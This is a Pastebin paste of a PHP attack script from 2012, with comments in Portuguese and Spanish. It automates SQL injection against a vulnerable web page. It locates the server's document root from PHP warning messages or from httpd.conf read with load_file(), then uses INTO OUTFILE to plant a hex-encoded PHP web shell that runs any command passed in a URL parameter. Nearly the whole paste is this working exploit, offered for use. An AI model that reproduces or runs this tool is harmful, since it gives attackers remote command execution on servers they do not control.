Googleinurl

dumpshell.php

Sep 1st, 2012
346
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.15 KB | None | 0 0
  1. <?php
  2. echo <<<EOF
  3. ------------------------------------------------------------
  4.  Carregar uma shell com into outfile
  5.  Uso: php dumpshell.php <url>
  6.   A URL tem o formato  http://localhost/test.php?usuario=-1'+union+select+/*SQLI*/,2/*OFILE*/+--+'
  7.  /*SQLI*/ Substitui uma coluna que é impresso
  8.  /*OFILE*/ va entre la ultima columna y el final de la inyección (generalmente un comentario)
  9.  
  10.  By seth: xd [-dot-] seth [.at.] gmail {~dot~} com           http://xd-blog.com.ar/
  11.  Parte del proyecto ISIR de http://foro.undersecurity.net/
  12. ------------------------------------------------------------
  13.  
  14.  
  15. EOF;
  16.  
  17. sqli_dump($argv[1]);
  18.  
  19. /*
  20.  Hace una petición get y devuelve la respuesta
  21. */
  22. function GET($url){
  23.     $ch = curl_init($url);
  24.     curl_setopt($ch, CURLOPT_RETURNTRANSFER  ,1);
  25.     curl_setopt($ch, CURLOPT_HEADER      ,0);
  26.     curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
  27.     $data = curl_exec($ch);
  28.     curl_close($ch);
  29.     return $data;    
  30. }
  31.  
  32. /*
  33.  Gera uma sequência aleatória
  34.  http://phpes.wordpress.com/2007/06/12/generador-de-una-cadena-aleatoria/
  35. */
  36. function random_string($length=10, $ucase=TRUE, $numbers=TRUE, $symbols=FALSE)
  37. {
  38.     $source = 'abcdefghijklmnopqrstuvwxyz';
  39.     if($ucase) $source .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  40.     if($numbers) $source .= '1234567890';
  41.     if($symbols) $source .= '|@#~$%()=^*+[]{}-_';
  42.     if($length>0){
  43.         $rstr = "";
  44.         $source = str_split($source,1);
  45.         for($i=1; $i<=$length; $i++){
  46.             mt_srand((double)microtime() * 1000000);
  47.             $num = mt_rand(1,count($source));
  48.             $rstr .= $source[$num-1];
  49.         }
  50.     }
  51.     return $rstr;
  52. }
  53.  
  54.  
  55.  
  56. /*
  57.  Coloque uma marca de cotação e pegar o aviso php. precisa error_reporting
  58. */
  59. function get_path_error($url){
  60.     $url= str_replace('/*SQLI*/',"'+srch",$url);
  61.     $data = GET($url);
  62.    
  63.     preg_match('@<b>Warning</b>:  .+? in <b>(.+?)</b> on line <b>[0-9]+</b><br />@', $data, $resultados);
  64.     if($resultados[1]){
  65.         return dirname($resultados[1]); //dirname es para eliminar el nombre del archivo
  66.     }else{
  67.         return FALSE;
  68.     }
  69. }
  70.  
  71.  
  72. /*
  73. Tente carregar o arquivo de configuração com load_file ()
  74. */
  75. function get_path_httpdconf($url){
  76.    
  77.     // http://wiki.apache.org/httpd/DistrosDefaultLayout
  78.     $httpdconf_location = array(
  79.         'C:/Program Files/Apache Software Foundation/Apache2.2/conf/httpd.conf',
  80.         '/usr/local/apache2/conf/httpd.conf',
  81.         '/usr/pkg/etc/httpd/httpd.conf',
  82.         '/usr/local/etc/apache22/httpd.conf',
  83.         '/usr/local/etc/apache2/httpd.conf',
  84.         '/etc/apache2/apache2.conf',
  85.         '/etc/apache2/httpd.conf',
  86.         '/etc/httpd/httpd.conf',
  87.         '/etc/httpd/conf/httpd.conf',
  88.         '/etc/conf.d/apache2',
  89.         '/opt/lampp/etc/httpd.conf',
  90.         );
  91.        
  92.     foreach ($httpdconf_location as $httpdconf){
  93.         $url_completa = str_replace('/*SQLI*/', urlencode("concat(0x504154484d415443484845524531, load_file(0x".bin2hex($httpdconf)."), 0x504154484d415443484845524532)"),$url);; //load_file() y dos strings a los costados que nos sirven para saber con que parte quedarnos
  94.         $data = GET($url_completa);
  95.        
  96.         preg_match('@PATHMATCHHERE1(.*?)PATHMATCHHERE2@s', $data, $archivo); //aislamos el archivo
  97.         preg_match('@DocumentRoot "(.+?)"@i', $archivo[1], $resultados); //leemos el documentroot
  98.         if($resultados[1]){
  99.             return $resultados[1];
  100.         }
  101.     }
  102.     return FALSE;
  103. }
  104.  
  105.  
  106.  
  107. // Sube una shell con into outfile
  108. // $url tiene este formato http://localhost/test.php?usuario=-1'+union+select+/*SQLI*/,2/*OFILE*/+--+'
  109. // /*SQLI*/ reemplaza una columna que se imprime
  110. // /*OFILE*/ va entre la ultima columna y el final de la inyección (generalmente un comentario)
  111.  
  112.  
  113. function sqli_dump($url){
  114.     $paths = array(
  115.         '',
  116.         '/thumbnails',
  117.         '/images',
  118.         '/img',
  119.         '/cache',
  120.         '/tmp',
  121.         '/temp',
  122.         '/imagenes'
  123.     );
  124.     $shell = '0x3c3f504850206563686f2027756e64272e2765727365633c62723e273b20706173737468727528245f4745545b27636d64275d293b203f3e'; /* <?PHP echo 'und'.'ersec<br>'; passthru($_GET['cmd']); ?> */
  125.     $match_string = 'undersec';
  126.     $random_name = random_string(10, FALSE, TRUE, FALSE).'.php';
  127.    
  128.    
  129.     if ($fullpath = get_path_error($url)) {
  130.         //queda asi
  131.     }elseif ($fullpath = get_path_httpdconf($url)) {
  132.         $fullpath.= dirname(parse_url($url, PHP_URL_PATH));
  133.     }else{
  134.         echo 'No se pudo sacar el path :('."\n";
  135.         return FALSE;
  136.     }
  137.     echo 'Path: '.$fullpath."\n";
  138.  
  139.     foreach ($paths as $thispath)
  140.     {
  141.         $thisurl =  str_replace('/*SQLI*/', $shell, $url);
  142.         $thisurl =  str_replace('/*OFILE*/', "+into+outfile+'".urlencode($fullpath.$thispath.'/'.$random_name)."'", $thisurl);
  143.         $data = GET($thisurl);
  144.        
  145.         $shell_url = dirname($thisurl).$thispath.'/'.$random_name;
  146.         $data =  GET($shell_url);
  147.         if(strpos($data, $match_string) !== FALSE){
  148.             echo 'Shell: '.$shell_url.'?cmd=id'."\n";
  149.             return $shell_url;
  150.         }
  151.     }
  152.     echo 'No se pudo meter la shell '."\n";
  153.     return FALSE;
  154.    
  155. }
  156.  
  157. ?>
Add Comment
Please, Sign In to add comment